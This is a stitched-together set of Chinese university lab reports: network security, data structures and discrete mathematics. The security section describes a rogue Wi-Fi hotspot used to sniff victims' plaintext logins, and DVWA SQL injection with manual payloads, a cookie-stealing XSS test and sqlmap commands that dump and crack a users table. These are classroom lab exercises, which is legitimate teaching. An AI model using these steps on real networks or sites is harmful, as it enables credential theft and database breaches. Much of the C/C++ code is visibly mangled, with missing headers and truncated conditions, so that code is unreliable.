-A FORWARD-p tcp-m tcp--tcp-flags FIN,SYN,RST,ACK SYN-m limit--limit 1/sec-j ACCEPT 限制IP碎片,每秒鐘只允許100個碎片,用來防止DoS攻擊-A FORWARD-f-m limit--limit 100/sec--limit-burst 100-j ACCEPT 限制ping包每秒一個,10個后重新開始

-A FORWARD-p icmp-m limit--limit 1/sec--limit-burst 10-j ACCEPT 限制ICMP包回應請求每秒一個

-A FORWARD-p icmp-m icmp--icmp-type 8-m limit--limit 1/sec-j ACCEPT 此處自定義一個表

-A FORWARD-j RH-Firewall-1-INPUT 完全接受 loopback interface 的封包-A RH-Firewall-1-INPUT-i lo-j ACCEPT 允許主機接受 ping-A RH-Firewall-1-INPUT-p icmp-m icmp--icmp-type any-j ACCEPT 允許連線出去后對方主機回應進來的封包

22-A RH-Firewall-1-INPUT-m state--state RELATED,ESTABLISHED-j ACCEPT 允許防火墻開啟指定端口

-A RH-Firewall-1-INPUT-p tcp-m state--state NEW-m tcp--dport port-j ACCEPT 限制SSH登陸

只允許在***.***.***.***上使用ssh遠程登錄,從其它計算機上禁止使用ssh iptables-A INPUT-s ***.***.***.***-p tcp--dport 22-j ACCEPT iptables-A INPUT-p tcp--dport 22-j DROP

2)linux 主機防火墻處理數據包的順序是什么?

答:(1)當包到達端口時,對包報頭進行語法分析。大多數包過濾設備只檢查IP、TCP、或UDP報頭中的字段。

(2)若一條規則阻止包傳輸或接收,則此包便不被允許。

(3)若一條規則允許包傳輸或接收,則此包便可以被繼續處理。(4)若包不滿足任何一條規則,則此包便被阻塞。

實驗三WIFI 釣魚

步驟一 共享WIFI 工具:電腦、WIN7 系統、無線網卡

步驟

1.開始菜單-->命令提示符(cmd)-->右鍵,以管理員身份運行 2.運行以下命令啟用虛擬網卡

>netsh wlan set hostednetwork mode=allow ssid=(這里寫無線網名字)key=(這里是密碼)

3.網絡共享中心-->更改高級適配器設置-->右鍵已連接到Internet 的網絡連接-->屬性-->切換 到“共享”選項卡,選中其中的復選框,并選擇允許其共享Internet 的網絡連接,這里即我 們的虛擬WIFI 網卡

4.開啟無線網絡,繼續在命令提示符中運行以下命令: >netsh wlan start hostednetwork 24 即可開啟我們之前設置好的無線網絡(相當于打開路由器的無線功能)

步驟二 WIFI 釣魚

工具:其他筆記本或手機、Wareshark 步驟

1.搜索到剛剛設置的WIFI,連接上(密碼為剛剛設置的key:12345679)

2.在筆記本上打開wareshark,選擇capture-->interfaces 3.選擇Packets 最多的項,點擊start 按鈕

4.在手機或筆記本上打開中南大學郵箱網站:http://mail.csu.edu.cn/,在主機上用wareshark 捕捉

http 的包

(這里大家可以自由實驗,能監控到連接到該WIFI 的機器的所有包的情況)5.在手機或筆記本上輸入用戶名和密碼,點擊登錄

6.在主機上用wareshark 捕捉到剛剛post 提交的http 包,右鍵選擇Follow tcp stream

7.可以看到剛剛提交的用戶名和密碼,且是未經過加密的

實驗截圖

如上所示,重要的步驟截圖已置于相應步驟下。

實驗心得

本次實驗是在自己的筆記本上做的,實驗也比較簡單,所以做得比較快效果比較好。通過本次實驗,大致了解了WIFI釣魚的操作過程,同時,也讓自己有了警覺之心,要養成良好的WIFI使用習慣。手機會把使用過的WIFI熱點都記錄下來,如果WiFi開關處于打開狀態,手機就會不斷向周邊進行搜尋,一旦遇到同名的熱點就會自動進行連接,存在被釣魚風險。因此當我們進入公共區域后,盡量不要打開WIFI開關,或者把WiFi調成鎖屏后不再自動連接,避免在自己不知道的情況下連接上惡意WIFI。

實驗四 SQL注入攻擊

【實驗目的】

SQL注入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程序沒有細致地過濾用戶輸入的數據,致使非法數據侵入系統。根據相關技術原理,SQL注入可以分為平臺層注入和代碼層注入。前者由不安全的數據庫配置或數據庫平臺的漏洞所致;后者主要是由于程序員對輸入未進行細致地過濾,從而執行了非法的數據查詢。

本次實驗目的是了解sql注入的常見手段,要到兩個工具:

①dvwa(Dam Vulnerable Web Application)是用PHP+Mysql編寫的一套用于常規WEB漏洞教學和檢測的WEB脆弱性測試程序。包含了SQL注入、XSS、盲注等常見的一些安全漏洞。

② sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現并利用給定的URL的SQL注入漏洞。

【實驗組網拓撲】

VM Client

VM Server

【實驗一:dvwa手動sql注入】

1、連接好虛擬機拓撲圖,配置WindowsXP Client和Windows XP Server的IP使其在同一個局域網網段。

2、打開Server端的xampp,啟動apache和mysql。打開Client的瀏覽器,訪問Server的IP/dvwa,如“192.168.1.32/dvwa”,登陸賬戶為admin,密碼為password。

3、選擇SQLInjection,點擊右下角的ViewSource,查看PHP源代碼。

4、正常測試,輸入“1”,得到正常結果,如下所示。

5、當將輸入變為“'”時,頁面提示錯誤“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1”,結果如圖。看到這個結果,可以知道,這個表單存在著注入漏洞。

6、嘗試輸入:“1’or 1=1–”注意“--”后面有空格!此時成功進行sql注入。

7、測試查詢信息列數。利用語句order by num。這里輸入“ 1'order by 1--” 結果頁面正常顯示,注意--后面有空格。繼續測試,“ 1'order by 2--”,“ 1'order by 3--”,當輸入3是,頁面報錯。頁面錯誤信息如下,Unknown column '3' in 'order clause',由此查詢結果值為2列。

8、嘗試注入“1' and 1=2 union select 1,2--”,從而得出First name處顯示結果為查詢結果第一列的值,surname處顯示結果為查詢結果第二列的值,利用內置函數user(),及database(),version()注入得出連接數據庫用戶以及數據庫名稱:“1' and 1=2 union select user(),database()--”。

9、選擇DVWA Security,將安全級別分別設置為中、高。再運行上面的實驗sql語句,結合右下角的ViewSource,分析三種等級的代碼和sql注入效果有何區別。在安全級別分別設置為低時,結合PHP源代碼,考慮不采用“--”的情形下,完成sql注入,寫出sql注入語句。

【實驗二:sqlmap測試dvwa】

1、打開Server端的xampp,啟動apache和mysql。打開Client的瀏覽器,訪問Server的IP/dvwa,如“169.254.180.158/dvwa”,登陸賬戶為admin,密碼為password。選擇DVWA Security,將安全級別分別設置為低。

2、選擇XSS reflected,輸入“alert(document.cookie)”,獲取登陸系統后的cookie值,截圖保存cookie值。

3、使用sqlmap查找注入點,打開Client端的控制臺窗口,轉到目錄“C:Python27sqlmap”,輸入以下命令,注意!“169.254.180.158”表示Server的IP,“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”表示上一步所獲得的cookie值,請同學們按照實際環境 33 填寫相應的值!“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5””。

依據以下信息,得到可能的注入點是id,數據庫是mysql。

[INFO] heuristic(basic)test shows that GET parameter 'id' might be injectable(possible DBMS: 'MySQL')[INFO] GET parameter 'id' is 'MySQL UNION query(NULL)-1 to 20 columns' injectable

4、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”--current-db”得到當前數據庫名。

current database: 'dvwa'

5、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”--current-db--tables-Ddvwa”得到數據庫所有表。

6、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”-T users--columns”得到user表的所有列。

7、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”-T users--dump”得到user表的所有列,在sqlmap詢問時候破解密碼時,選擇是,sqlmap會使用自己的字典來破解密碼,得到5個用戶的密碼。此時就完成了利用sqlmap進行“拖庫”的基本步驟。

實驗截圖

如上所示,重要的步驟截圖已置于相應步驟下。

實驗心得

隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由于程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。

此次的實驗讓我了解了SQL注入攻擊的原理和過程,讓我了解到了做這方面開發的時候需要注意的安全性問題,也意識到安全的重要性和數據庫的一些欠缺,提高了自己在這方面的安全意識。在實驗的過程中遇到了很多困難,配置上的,環境上的,還有一些需要注意的小問題。很高興順利完成了這次實驗,期待下次能使用更高級的工具進行掃描和實施攻擊,當然,以后的開發過程中也要特別注意這些脆弱點了。

第四篇:中南大學 數據結構實驗報告

數據結構實驗報告

專業班級: 指導老師:余臘生 姓

名: 學

號: 實驗一 單鏈表的基本操作的實現

一、實驗目的

掌握單鏈表的基本操作:建立、插入、刪除、查找等運算。

二、實驗儀器

安裝VC++的PC機。

三、實驗原理

利用線性表的特性以及其鏈式存儲結構特點對線性表進行相關操作。

四、實驗內容

程序中演示了單鏈表的創建、插入、刪除和查找。程序如下:

#include #include #include #include typedef struct node { int data;struct node *next;} NODE;/******************************************/ NODE *Create(){ NODE *p,*head;int x;head=(NODE *)malloc(sizeof(NODE));head->next=NULL;printf(“Input data,-1 to End!n”);

scanf(“%d”,&x);while(x!=-1){ p=(NODE *)malloc(sizeof(NODE));p->data=x;p->next=head->next;head->next=p;scanf(“%d”,&x);} return(head);} /******************************************/ void Output(NODE *head){ NODE *p;p=head;printf(“Begin to dump the LinkList...n”);while(p->next!=NULL){ printf(“->%d”,p->next->data);p=p->next;} printf(“nThe LinkList ended!n”);} /******************************************/ int Listlen(NODE *head){ int i=0;NODE *p=head;while(p->next!=NULL){ i++;p=p->next;} return(i);} /******************************************/ int Get(NODE *head,int i){ int j=0;NODE *p=head;while(p->next&&jnext;} if(!p->next||j>i)return(0);else return(p->data);} /******************************************/ void Del(NODE *head,int i){ NODE *p=head;int j=0;while(p->next&&jnext;} if(!p->next||j>i-1)printf(“the position is wrongn”);else p->next=p->next->next;} /******************************************/ void Ins(NODE *head,int i,int e){ NODE *p=head,*q;int j=0;while(p->next&&jnext;} if(!p->next&&j>i-1)printf(“Wrong positionn”);else { q=(NODE *)malloc(sizeof(NODE));q->data=e;q->next=p->next;p->next=q;} } /******************************************/ main(){ NODE *head;int length;int i,element;system(“CLS”);head=Create();Output(head);length=Listlen(head);printf(“the length of the link is %dn”,length);printf(“input the order :n”);scanf(“%d”,&i);element=Get(head,i);printf(“the element of the order is %dn”,element);printf(“input the del position n”);scanf(“%d”,&i);Del(head,i);Output(head);printf(“Input the insert posion and element:n”);scanf(“%d%d”,&i,&element);Ins(head,i,element);Output(head);getch();}

五、數據記錄及處理

1、運行程序,輸入下面一組數據: 93 94 12 13 20 14 鏈表順序:14 20 13 12 94 93

2、刪除第二個數據結點,在第一個位置插入數據20。

運行結果如下: 插入結果:14 13 12 94 93 刪除結果:20 14 13 12 94 93 運行結果截圖:

實驗二 棧和隊列的實現

一、目的和要求

1.理解隊列和棧的順序存儲結構和鏈式存儲結構。通過本實驗,熟悉隊列、棧的結構特點; 2.熟悉隊列、棧結構上的操作與算法的實現。

二、實驗內容

1.隊列的基本操作和應用。2.棧的基本操作和應用。

三、儀器、設備和材料

1.適合實驗要求的計算機系統。2.VC++編程平臺。

四、實驗原理

隊列與棧是一種操作受限制的線性表,在了解線性表的基本原理的基礎上,理解與完成此項實驗。

五、實驗步驟

1.采用隊列的順序存儲結構。

2.用菜單的形式完成隊列的建立,出隊,入隊等基本操作。3.采用棧的鏈式存儲結構。

4.用菜單的形式完成棧的出棧、入棧等基本操作。

六、程序算法

#include #include #define OVERFLOW-2 #define ERROR 0 #define OK 1 #define MAX 100 //棧的最大值 typedef int SElemType;typedef int QElemType;typedef struct {SElemType *base;

SElemType *top;}SqStack;

SqStack InitStacka()//順序存儲實現棧的初始化 {SqStack S;S.base=(SElemType *)malloc(MAX*sizeof(SElemType));if(!S.base)exit(OVERFLOW);S.top=S.base;return(S);}

void Pusha(SqStack &S,int x)//順序存儲實現棧的入棧操作 {if(S.top-S.base>=MAX)exit(OVERFLOW);*S.top++=x;}

void Popa(SqStack &S)//順序存儲實現棧的出棧操作 {SElemType *p;int x;if(S.top==S.base)return;else {p=S.top;x=*--S.top;printf(“t刪除的棧頂元素是%dnt出棧操作完成后的棧為:n”,x);} } void printa(SqStack S)//輸出 {SElemType *p;p=S.base;printf(“t”);while(p!=S.top){printf(“%d ”,*(p++));} printf(“n”);}

typedef struct SqNode {SElemType data;SqNode *Link;}*Sqptr,NODE;typedef struct {Sqptr top;}Stack;

Stack InitStackb()//鏈式存儲實現棧的初始化 {Stack S;S.top=(Sqptr)malloc(sizeof(NODE));if(!S.top)exit(OVERFLOW);S.top->Link=NULL;return(S);}

void Pushb(Stack &S,int x)//鏈式存儲實現棧的入棧操作 {Sqptr p;p=(Sqptr)malloc(sizeof(NODE));if(!p)return;p->data=x;p->Link=S.top->Link;S.top->Link=p;}

void Popb(Stack &S)//鏈式存儲實現棧的出棧操作 {int x;Sqptr p;if(S.top->Link==NULL)return;else {p=S.top->Link;

x=p->data;

S.top->Link=p->Link;

printf(“t刪除的棧頂元素是%dn”,x);

free(p);} }

typedef struct QNode {QElemType data;struct QNode *next;}*QueuePtr,QNode;typedef struct {QueuePtr front;QueuePtr rear;}LinkQueue;LinkQueue InitQueue()//鏈式存儲實現隊列的初始化 {LinkQueue Q;Q.front=Q.rear=(QueuePtr)malloc(sizeof(QNode));if(!Q.front)exit(OVERFLOW);Q.front->next=NULL;

return(Q);} void EnQueue(LinkQueue &Q,QElemType x)//鏈式存儲實現隊列的入隊 {QueuePtr p;p=(QueuePtr)malloc(sizeof(QNode));if(!p)exit(OVERFLOW);p->data=x;p->next=NULL;Q.rear->next=p;Q.rear=p;} void DeQueue(LinkQueue &Q)//鏈式存儲實現隊列的出隊 {int x;if(Q.front==Q.rear)return;QueuePtr p;p=Q.front->next;x=p->data;printf(“t刪除的隊頭元素是:%dn”,x);Q.front->next=p->next;if(Q.rear==p)Q.rear=Q.front;free(p);return;}

typedef struct {SElemType *base;int front,rear;}SqQueue;SqQueue InitQueueb()//順序存儲實現隊列的初始化 {SqQueue S;S.base=(SElemType *)malloc(MAX*sizeof(SElemType));if(!S.base)exit(OVERFLOW);S.front=S.rear=0;return(S);} void EnQueueb(SqQueue &S,int x)

//順序存儲實現隊列的入隊 {if((S.rear+1)%MAX==S.front)return;S.base[S.rear]=x;S.rear=(S.rear+1)%MAX;} void DeQueueb(SqQueue &S)//順序存儲實現隊列的出隊 {int x;if(S.front==S.rear)return;x=S.base[S.front];S.front=(S.front+1)%MAX;printf(“t刪除的隊頭元素是:%dn”,x);} void main(){int choice;int n,x;printf(“nn”);printf(“t1.采用鏈式存儲實現棧的初始化、入棧、出棧操作n”);printf(“t2.采用順序存儲實現棧的初始化、入棧、出棧操作n”);printf(“t3.采用鏈式存儲實現隊列的初始化、入隊、出隊操作n”);printf(“t4.采用順序存儲實現隊列的初始化、入隊、出隊操作n”);printf(“t請選擇:”);scanf(“%d”,&choice);switch(choice){case 1:Stack Sa;

printf(“t1.鏈式存儲實現棧的初始化n”);

printf(“t2.鏈式存儲實現棧的入棧操作n”);

printf(“t3.鏈式存儲實現棧的出棧操作n”);

while(1){

printf(“t請選擇:”);

scanf(“%d”,&n);

switch(n)

{case 1:Sa=InitStackb();

printf(“t鏈式存儲棧的初始化完成!n”);break;

case 2:printf(“t以'0'結束n”);printf(“t”);

scanf(“%d”,&x);

while(x){

Pushb(Sa,x);scanf(“%d”,&x);}

printf(“t鏈式存儲棧的入棧操作完成!n”);break;

case 3:Popb(Sa);break;}}break;

case 2:SqStack S;

printf(“t1.順序存儲實現棧的初始化n”);

printf(“t2.順序存儲實現棧的入棧操作n”);

printf(“t3.順序存儲實現棧的出棧操作n”);

while(1){

printf(“t請選擇:”);

scanf(“%d”,&n);

switch(n)

{ case 1:S=InitStacka();

printf(“t順序存儲棧的初始化完成!n”);break;

case 2:printf(“t以'0'結束n”);

printf(“t”);

scanf(“%d”,&x);

while(x){

Pusha(S,x);

scanf(“%d”,&x);}

printf(“t順序存儲棧的入棧操作完成!n”);

printa(S);break;

case 3:Popa(S);

printa(S);break;}}break;

case 3:LinkQueue Q;

printf(“t1.鏈式存儲實現隊的初始化n”);

printf(“t2.鏈式存儲實現隊的入棧操作n”);

printf(“t3.鏈式存儲實現隊的出棧操作n”);

while(1){

printf(“t請選擇:”);

scanf(“%d”,&n);

switch(n)

{

case 1:Q=InitQueue();

printf(“t鏈式存儲隊的初始化完成!n”);break;

case 2:printf(“t以'0'結束n”);printf(“t”);scanf(“%d”,&x);

while(x){

EnQueue(Q,x);scanf(“%d”,&x);}

printf(“t鏈式存儲隊的入棧操作完成!n”);break;

case 3:DeQueue(Q);break;}}break;

case 4:SqQueue Sv;

printf(“t1.順序存儲實現隊的初始化n”);

printf(“t2.順序存儲實現隊的入棧操作n”);

printf(“t3.順序存儲實現隊的出棧操作n”);

while(1){

printf(“t請選擇:”);

scanf(“%d”,&n);

switch(n)

{case 1:Sv=InitQueueb();

printf(“t鏈式存儲棧的初始化完成!n”);break;

case 2:printf(“t以'0'結束n”);printf(“t”);scanf(“%d”,&x);

while(x){

EnQueueb(Sv,x);scanf(“%d”,&x);}

printf(“t鏈式存儲棧的入棧操作完成!n”);break;

case 3: DeQueueb(Sv);break;}}break;} } 程序調試截圖:

1.采用鏈式存儲實現棧的初始化、入棧、出棧操作

2.采用順序存儲實現棧的初始化、入棧、出棧操作

3.采用鏈式存儲實現隊列的初始化、入隊、出隊操作

4.采用順序存儲實現隊列的初始化、入隊、出隊操作

七、心得體會

實踐才能出真知,在通過了上機操作后,才發現了許多在平時上理論課的時候沒有想到的方方面面,編寫程序時發現很多語法的錯誤,以及很多英語單詞的記不熟,記錯,程序函數錯用等等,我想需要在以后多多練習,才能逐步解決這些問題。實驗三 二叉樹的建立和遍歷

一、目的和要求

1、了解二叉樹的建立的方法及其遍歷的順序,熟悉二叉樹的三種遍歷

2、檢驗輸入的數據是否可以構成一顆二叉樹

二、實驗內容

1.二叉樹的建立和遍歷

三、儀器、設備和材料

1.適合實驗要求的計算機系統。2.VC++編程平臺。

四、實驗的描述和算法

1、實驗描述

二叉樹的建立首先要建立一個二叉鏈表的結構體,包含根節點和左右子樹。因為耳熟的每一個左右子樹又是一顆二叉樹,所以可以用遞歸的方法來建立其左右子樹。二叉樹的遍歷是一種把二叉樹的每一個節點訪問完并輸出的過程,遍歷時根結點與左右孩子的輸出順序構成了不同的遍歷方法,這個過程需要按照不同的遍歷的方法,先輸出根結點還是先輸出左右孩子,可以用選擇語句實現。

2、算法

#include #include using namespace std;template struct BinTreeNode

//二叉樹結點類定義 { T data;

//數據域

BinTreeNode *leftChild,*rightChild;

//左子女、右子女域

BinTreeNode(T x=T(),BinTreeNode* l =NULL,BinTreeNode* r = NULL)

:data(x),leftChild(l),rightChild(r){}

//可選擇參數的默認構造函數 };//-----------template void PreOrder_2(BinTreeNode *p)

//非遞歸前序遍歷 { stack * > S;while(p!=NULL ||!S.empty()){

while(p!=NULL)

{

cout<

data;

//訪問根結點

S.push(p);

p=p->leftChild;

//遍歷指針進到左子女結點

}

if(!S.empty())

//棧不空時退棧

{

p=S.top();

S.pop();

p = p->rightChild;

//遍歷指針進到右子女結點

} } } //--template void InOrder_2(BinTreeNode *p)

//非遞歸中序遍歷 { stack* > S;do {

while(p!=NULL)

//遍歷指針未到最左下的結點,不空

{

S.push(p);

p=p->leftChild;

}

if(!S.empty())

//棧不空時退棧

{

p=S.top();

S.pop();

cout<

data;

p=p->rightChild;

} } while(p!=NULL ||!S.empty());}

//----template void PostOrder_2(BinTreeNode *p)//非遞歸后序遍歷 { stack * > S;stack tag;//定義一個新的棧用來保存tag域判別根結點的左右子樹是否均遍歷過

while(p!= NULL ||!S.empty())

//左子樹經過結點加L進棧

{

while(p!=NULL)

{

S.push(p);//首先將t和tag為入棧,遍歷左子樹

tag.push(0);//遍歷左子樹前的現場保護

p=p->leftChild;

}

while(!S.empty()&& tag.top()==1)

{

p=S.top();

S.pop();

tag.pop();

cout<

data;//最后訪問根結點。

}

if(!S.empty())

{

tag.pop();

tag.push(1);//遍歷右子樹前的現場保護,修改棧頂tag為,遍歷右子樹

p=S.top();

// 取棧頂保存的指針

p=p->rightChild;

}

else

break;

} } template void InOrder_1(BinTreeNode * subTree){//遞歸函數:中序次序遍歷以subTree為根的子樹。

if(subTree!=NULL)

//NULL是遞歸終止條件

{

InOrder_1(subTree->leftChild);//中序遍歷根的左子樹

cout<data;

//訪問根結點

InOrder_1(subTree->rightChild);//中序遍歷根的右子樹

} } template void PreOrder_1(BinTreeNode * subTree){//遞歸函數:前序遍歷以subTree為根的二叉樹。if(subTree!=NULL)

//遞歸結束條件

{

cout<data;//訪問根結點

PreOrder_1(subTree->leftChild);

//前序遍歷根的左子樹

PreOrder_1(subTree->rightChild);

//前序遍歷根的右子樹

} } template void PostOrder_1(BinTreeNode * subTree){//遞歸函數:后序次序遍歷以subTree為根的子樹。

if(subTree!=NULL)

//NULL是遞歸終止條件

{

PostOrder_1(subTree->leftChild);//后序遍歷根的左子樹

PostOrder_1(subTree->rightChild);//后序遍歷根的右子樹

cout<data;

//訪問根結點

} } //------------template void CreateBinTree(BinTreeNode * & subTree){//遞歸方式建立二叉樹

T item;

cin>>item;

if(item!=-1)

{

subTree = new BinTreeNode();

if(subTree == NULL)

{

cerr<<“存儲分配錯!”<

exit(1);

}

subTree->data = item;

CreateBinTree(subTree->leftChild);//遞歸建立左子樹

CreateBinTree(subTree->rightChild);//遞歸建立右子樹

}

else subTree = NULL;

//封閉指向空子樹的指針 } int main(){

BinTreeNode * Tree = NULL;cout<<“請輸入每個結點,回車確認,并以-1結束:”;CreateBinTree(Tree);

cout<<“先序遍歷二叉樹結果:”;

PreOrder_1(Tree);

cout<

cout<<“后序遍歷二叉樹結果:”;

PostOrder_1(Tree);cout<

cout<<“非遞歸中序遍歷二叉樹結果:”;InOrder_2(Tree);cout<

3、實驗程序運行截圖

實驗四 散列法查找和排序

一、目的和要求

1.用散列法實現順序查找,折半查找。

二、儀器、設備和材料

1.適合實驗要求的計算機系統。2.VC++編程平臺。

三、實驗步驟 和程序

1、順序查找 #include #include #include #define m

#define NULLKEY 0 typedef int KeyType;

/* 假設關鍵字為整型 */ typedef struct { KeyType key;}RecordType;typedef RecordType HashTable[m];int hash(KeyType k)/*除留余數法構造哈希函數*/ { int h;h = k%m;return h;} int HashSearch(HashTable ht, KeyType K)/*哈希查找*/ { int h0;int i;int hi;h0=hash(K);if(ht[h0].key==NULLKEY)

return(-1);else

if(ht[h0].key==K)

return(h0);

else

/* 用線性探測再散列解決沖突 */

{

for(i=1;i<=m-1;i++)

{

hi=(h0+i)% m;

if(ht[hi].key==NULLKEY)

return(-1);

else

if(ht[hi].key==K)

return(hi);

}

return(-1);

}

} void main(){ int i,j;int n;int p;int hj;int k;int result;HashTable ht;for(i=0;i

ht[i].key = NULLKEY;printf(“請輸入哈希表的元素個數:”);scanf(“%d”,&n);for(i=1;i<=n;i++){

printf(“請輸入第%d個元素:”,i);

fflush(stdin);

scanf(“%d”,&p);

j = hash(p);

if(ht[j].key == NULLKEY)

ht[j].key = p;

else

{

for(i=1;i<=m-1;i++)

{

hj=(j+i)% m;

if(ht[hj].key==NULLKEY)

{

ht[j].key = p;

}

i = m;

}

}

} } printf(“請輸入要查找的元素:”);fflush(stdin);scanf(“%d”,&k);result = HashSearch(ht,k);if(result ==-1)printf(“未找到!n”);else printf(“元素位置為%dn”,result);system(“pause”);運行結果如下:

2、折半查找

#include #define N 21 void main(void){ int a[N];int i,n,num;int top,bottom,mid;int flag=1;int loc=-1;printf(“你想在多少個數中進行折半查找,請輸入(1--20):”);scanf(“%d”,&n);while(n<1||n>20){

printf(“你輸入的數不正確,請重新輸入:n”);

printf(“你想在多少個數中進行折半查找,請輸入(1--20):”);

scanf(“%d”,&n);} printf(“請你輸入一個整數a[1]:”);scanf(“%d”,&a[1]);i=2;while(i<=n){

printf(“請你輸入一個整數a[%d]:”,i);

scanf(“%d”,&a[i]);

i++;} printf(“n輸出表列n”);for(i=1;i<=n;i++){ printf(“%6d”,a[i]);} printf(“n”);printf(“請你輸入要查找的數:”);scanf(“%d”,&num);flag=1;top=n;bottom=1;mid=(top+bottom)/2;while(flag){ printf(“top=%d,bottom=%d,mid=%d,a[i]=%dn”,top,bottom,mid,mid,a[mid]);if((num>a[top])||(num

loc=-1;

flag=0;} else if(a[mid]==num){

loc=mid;

printf(“找到數

%6d的位置%2dn”,num,loc);

break;} else if(a[mid]>num){

top=mid-1;

mid=(top+bottom)/2;} else if(a[mid]

bottom=mid+1;

mid=(top+bottom)/2;} } if(loc==-1){ printf(“%d這個數在表列中沒有找到。n”,num);} } 運行結果如下:

第五篇:中南大學離散數學實驗報告

離散數學實驗報告(實驗ABC)

專業班級 學生姓名 學生學號 指導老師 完成時間

離散數學實驗三實驗報告

目錄

實驗概述..........................................................................................................2

1.1 實驗目的.........................................................................................................2 1.2 實驗內容.........................................................................................................2 1.3 實驗環境.........................................................................................................2 第二章 實驗原理和實現過程......................................................................................3

2.1 實驗原理.........................................................................................................3

2.1.1建立圖的鄰接矩陣,判斷圖是否連通................................................3 2.1.2 計算任意兩個結點間的距離...............................................................3 2.1.3對不連通的圖輸出其各個連通支........................................................4 2.2 實驗過程(算法描述).................................................................................4

2.2.1 程序整體思路.......................................................................................4 2.2.2具體算法流程........................................................................................4

第三章 實驗數據及結果分析......................................................................................6

3.1建立圖的鄰接矩陣并判斷圖是否連通的功能測試及結果分析.................6

3.1.1輸入無向圖的邊....................................................................................6 3.1.2建立圖的連接矩陣................................................................................7 3.2 其他功能的功能測試和結果分析.................................................................8

3.2.1計算節點間的距離................................................................................8 3.2.2判斷圖的連通性....................................................................................8 3.2.3輸出圖的連通支....................................................................................9 3.2.4退出系統................................................................................................9

第四章 實驗收獲和心得體會....................................................................................10

4.1 實驗收獲.......................................................................................................10 4.2 心得體會.......................................................................................................11 第五章 實驗源程序清單............................................................................................12

5.1 程序代碼.......................................................................................................12

I 離散數學實驗三實驗報告

第一章 實驗概述

1.1 實驗目的

理解圖論的基本概念,圖的矩陣表示,圖的連通性,圖的遍歷,以及求圖的連通支方法。

通過實驗,幫助學生更好地掌握計算機科學技術常用的離散數學中的概念、性質和運算,培養邏輯思維;通過實驗提高學生編寫實驗報告、總結實驗結果的能力,提高理論聯系實際的能力;使學生具備程序設計的思想,能夠獨立完成簡單的算法設計和分析。

1.2 實驗內容

以偶對的形式輸入一個無向簡單圖的邊,建立該圖的鄰接矩陣,判斷圖是否連通(A),并計算任意兩個結點間的距離(B),對不連通的圖輸出其各個連通支(C)。

注意:題目類型分為A,B,C三類,其中A為基本題,完成A類題目可達到設計的基本要求,其他均為加分題,并按字母順序分數增加越高。

基本要求如下:程序需具有基本的容錯控制,在輸入錯誤時有處理手段;程序界面友好,需要輸入的地方有輸入說明,說明輸入的內容和格式要求等;實驗原理和實現過程應該詳細分析問題,給出解決思路,描述算法思想,不能用源程序代替算法;測試數據應全面,包括非法輸入的處理結果等都應包含在內。

1.3 實驗環境

C或C++語言編程環境實現。離散數學實驗三實驗報告

第二章 實驗原理和實現過程

2.1 實驗原理

2.1.1建立圖的鄰接矩陣,判斷圖是否連通

根據圖的矩陣表示法建立鄰接矩陣A,并利用矩陣的乘法和加法求出可達矩陣,從而判斷圖的連通性。

連通圖的定義:在一個無向圖 G 中,若從頂點vi到頂點vj有路徑相連(當然從vj到vi也一定有路徑),則稱vi和vj是連通的。如果 G 是有向圖,那么連接vi和vj的路徑中所有的邊都必須同向。如果圖中任意兩點都是連通的,那么圖被稱作連通圖。

判斷連通圖的實現:在圖中,從任意點出發在剩余的點中,找到所有相鄰點循環,直到沒有點可以加入為止,如果有剩余的點就是不連通的,否則就是連通的。或者也可用WallShell算法,由圖的鄰接矩陣判斷圖是否連通。

2.1.2 計算任意兩個結點間的距離

圖中兩點i,j間的距離通過檢驗Al中使得aij為1的最小的l值求出。路徑P中所含邊的條數稱為路徑P的長度。在圖G中,從結點Vi到Vj最短路徑的長度叫從Vi到Vj的距離,記為d

設圖的鄰接矩陣是A,則 所對應的aij的值表示,點Vi到點Vj距離為n的路徑有aij條。

若aij(1),aij(2),…,aij(n-1),中至少有一個不為0,則可斷定Vi與Vj可達,使aij(l)≠0的最小的l即為d(Vi,Vj)。

問題求解原理為:

(1)先構造初始鄰接矩陣A=Vij,Vij為頂點Vi到頂點Vj的權。如果Vi和Vj之間不存在弧段或者是負向回路或者是i=j,則令Vij其值為∞。

(2)再構造初始中間頂點矩陣。

(3)然后開始迭代計算(迭代的次數等于頂點的個數1)(4)最后查找Vi到Vj的最短路徑。離散數學實驗三實驗報告

計算節點Vi與Vj之間的距離的方法為:

利用鄰接矩陣相互間相乘后得到的矩陣來判斷節點間的距離。如果c2[s][i][j]==0,則這兩個節點的距離為無窮大。如果c2[s-2][i][j]==0,c2[s-1][i][j]==1時,則這兩點間的距離為s。

2.1.3對不連通的圖輸出其各個連通支

圖的連通支的求法則可采用圖的遍歷算法,圖的遍歷有深度優先和廣度優先兩種方法,其中深度優先算法又分為遞歸和非遞歸兩種。

